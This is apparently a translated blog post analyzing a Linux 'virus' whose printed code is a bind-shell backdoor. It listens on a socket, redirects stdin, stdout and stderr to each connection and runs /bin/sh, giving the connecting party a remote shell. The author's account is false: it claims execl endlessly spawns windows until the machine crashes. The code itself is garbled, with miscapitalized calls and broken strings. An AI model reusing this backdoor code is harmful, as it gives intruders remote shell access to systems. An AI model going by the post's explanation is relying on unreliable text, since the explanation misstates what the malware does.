Virus blackhole virus analysis based on Linux platform

Today encountered a virus, the code is not much, but the use of a function of the small loophole, the lethality is really amazing.

Reprint Please specify source: http://blog.csdn.net/u010484477 Thank you ^_^

This virus is normal in front:

Socket->bind->listen This process, we all

Below I would like to elaborate on its attack mode:

while (1)
{
Nsock =Accept(sock, (struct sockaddr *) &v10, (socklen_t *) &v9);//wait to link
if (Nsock < 0)
Break
if (fork ())//If Create progress is Father progress
{
Send(Nsock, "\nconnected!\n\n", strlen ("\nconnected!\n\n")-1, 0);
Send(Nsock, "This fine tool coded by Bronc buster\n", strlen ("This fine tool coded by Bronc buster\n")-1, 0);//that's what he's doing in his own entertainment.
Send(
Nsock,
"Please enter the command followed by '; ' \ n ",
strlen ("Please enter the command followed by '; ') \ n ")-1,
0);
dup2(Nsock, 0);
dup2(Nsock, 1);
dup2(Nsock, 2);
execl ("/bin/sh", "/bin/sh", 0); **************This sentence is the real attack, first look for execl to see how he attacked it
Close(Nsock);
Exit (0);
}
Close (Nsock);
}

In Execl, the first parameter is path, which points to the file path to execute , and the second parameter is the list of arguments that execute the file .

in the above code first the system found/bin/sh this path, and then the second parameter execution/bin/sh, pop a window, and then/bin/sh as the path, continue to find the corresponding parameter list, that is,/bin/sh, then execute, then pop the window, then find, execute , Pop-up window, find, execute, pop-up, find .... Keep going until the. Until the computer over

This virus writes the lethality is quite big, (⊙o⊙) the lifelong learning Ah

Finally, a sentence to everyone:

A lot of things are like traveling, but when you decide to go, the hardest part is done!